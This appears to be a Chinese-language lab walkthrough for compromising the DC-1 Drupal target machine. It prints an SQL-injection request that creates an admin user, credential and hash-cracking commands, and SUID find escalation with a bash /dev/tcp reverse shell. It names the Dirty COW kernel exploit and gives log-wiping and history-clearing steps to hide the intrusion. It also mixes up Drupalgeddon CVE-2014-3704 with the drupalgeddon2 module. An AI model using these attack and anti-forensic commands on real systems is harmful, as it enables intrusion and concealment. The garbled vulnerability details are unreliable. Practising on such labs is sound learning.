
1. 靶机渗透实战的价值与意义第一次接触DC-1靶机时我正处在CTF学习的瓶颈期。这个基于Drupal构建的漏洞环境完美复现了真实Web应用中可能存在的配置缺陷、权限漏洞和提权路径。不同于那些刻意设计的CTF题目DC-1更像是一个微缩的真实网络战场每一步渗透都需要综合运用信息收集、漏洞利用、权限提升等实战技能。对于刚掌握基础渗透工具的新手而言DC-1提供了绝佳的练手机会。从简单的CMS识别到复杂的提权操作整个过程就像打游戏通关一样层层递进。我在拿下root权限的过程中至少经历了三次啊哈时刻——当发现web目录下的配置文件泄露数据库凭证时当利用Drupal的SQL注入漏洞获取管理员会话时当通过find命令意外发现SUID提权机会时...2. 环境准备与初步侦查2.1 靶机环境搭建要点建议使用VirtualBox配合VMware Workstation搭建实验环境。关键配置包括网络模式选择Host-only或NAT避免暴露到真实网络内存分配1GB足够运行Drupal确保虚拟机与攻击机在同一网段启动后立即进行ARP扫描定位靶机IParp-scan -l --interfaceeth0常见问题排查若扫描不到靶机检查虚拟网络编辑器中的DHCP配置确保防火墙未拦截ICMP探测包2.2 信息收集三板斧端口扫描策略 使用Nmap进行全端口扫描时建议添加-sV参数nmap -p- -sV -T4 192.168.1.105典型输出会显示80端口的Drupal服务可能还有SSH服务。我曾遇到扫描结果为空的情况后来发现是靶机系统防火墙未关闭添加-Pn参数后解决。CMS指纹识别 除了Wappalyzer插件推荐使用WhatWeb进行深度识别whatweb http://192.168.1.105特别注意Drupal的版本号这对后续漏洞利用至关重要。有次我误判了版本导致exp失效后来通过robots.txt中的generator标签确认了准确版本。目录爆破技巧 Dirbuster的默认字典往往不够用建议合并以下资源/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtSecLists中的Common-Discovery.txt 关键是要设置适当的线程数建议20-30过高会导致请求丢失。3. 漏洞利用实战记录3.1 Drupalgeddon漏洞利用当识别到Drupal 7.x版本时首选的漏洞是著名的DrupalgeddonCVE-2014-3704。Metasploit中有现成模块use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.105 exploit但手工利用更能加深理解。通过Burp重放以下请求可触发漏洞POST /?quser/password HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: 120 name[0;insert into users (name,pass,status) values (hacker,$S$Dy6x5wZ2JzJYUSN7vGRMkKzW0vEZvS8TJy6jJjK5BWSBybWYJQrK,1);-- ]test这个注入会在Drupal中创建管理员用户hacker密码也是hacker。有次执行失败后发现是因为payload中的空格被URL编码改用/**/作为分隔符后成功。3.2 数据库凭证泄露利用在Drupal的sites/default/settings.php文件中常能找到数据库配置$databases array ( default array ( default array ( database drupaldb, username dbuser, password R0ck3t, host localhost, port , driver mysql, ), ), );使用mysql客户端连接后通过以下SQL获取用户哈希SELECT name,pass FROM users WHERE uid1;破解哈希推荐用hashcathashcat -m 7900 hash.txt rockyou.txt我在一次实战中发现数据库密码被改为随机字符串最后是通过Drupal的PHP filter模块执行系统命令才突破。4. 权限提升的艺术4.1 SUID提权路径分析执行以下命令查找具有SUID权限的可执行文件find / -perm -4000 2/dev/null在DC-1中/usr/bin/find通常就是突破口。测试执行touch test /usr/bin/find test -exec whoami \;当看到root输出时就可以构造反弹shell/usr/bin/find test -exec /bin/bash -p -c bash -i /dev/tcp/192.168.1.100/4444 01 \;注意点某些系统会限制SUID执行bash可尝试python或perl版本防火墙可能拦截反向连接可改用正向连接4.2 内核漏洞提权备选方案当常规提权失败时可检查内核版本uname -a cat /etc/*-release针对3.x内核的脏牛漏洞CVE-2016-5195成功率很高gcc -pthread dirty.c -o dirty -lcrypt ./dirty编译时常见错误解决缺少pthread库安装libc6-dev编译通过但执行崩溃尝试调整exploit中的内存参数5. 痕迹清理与报告撰写5.1 日志清理要点Web日志通常位于/var/log/apache2/access.log /var/log/apache2/error.log使用sed进行定向删除sed -i /192.168.1.100/d /var/log/apache2/access.log数据库操作记录可能在/var/log/mysql/mysql.log更彻底的方式是停止日志服务systemctl stop rsyslog5.2 渗透报告核心要素优质报告应包含时间线图表以流程图形式展示攻击路径漏洞详情表漏洞类型利用方式风险等级修复建议SQL注入Drupalgeddon2高危升级Drupal版本取证证据关键命令输出截图需打码敏感信息改进建议按优先级排序的加固方案记得在最后一次登录时执行history -c清除操作记录这个细节很多新手都会忽略。完成所有操作后别忘了给虚拟机创建快照方便下次复现练习。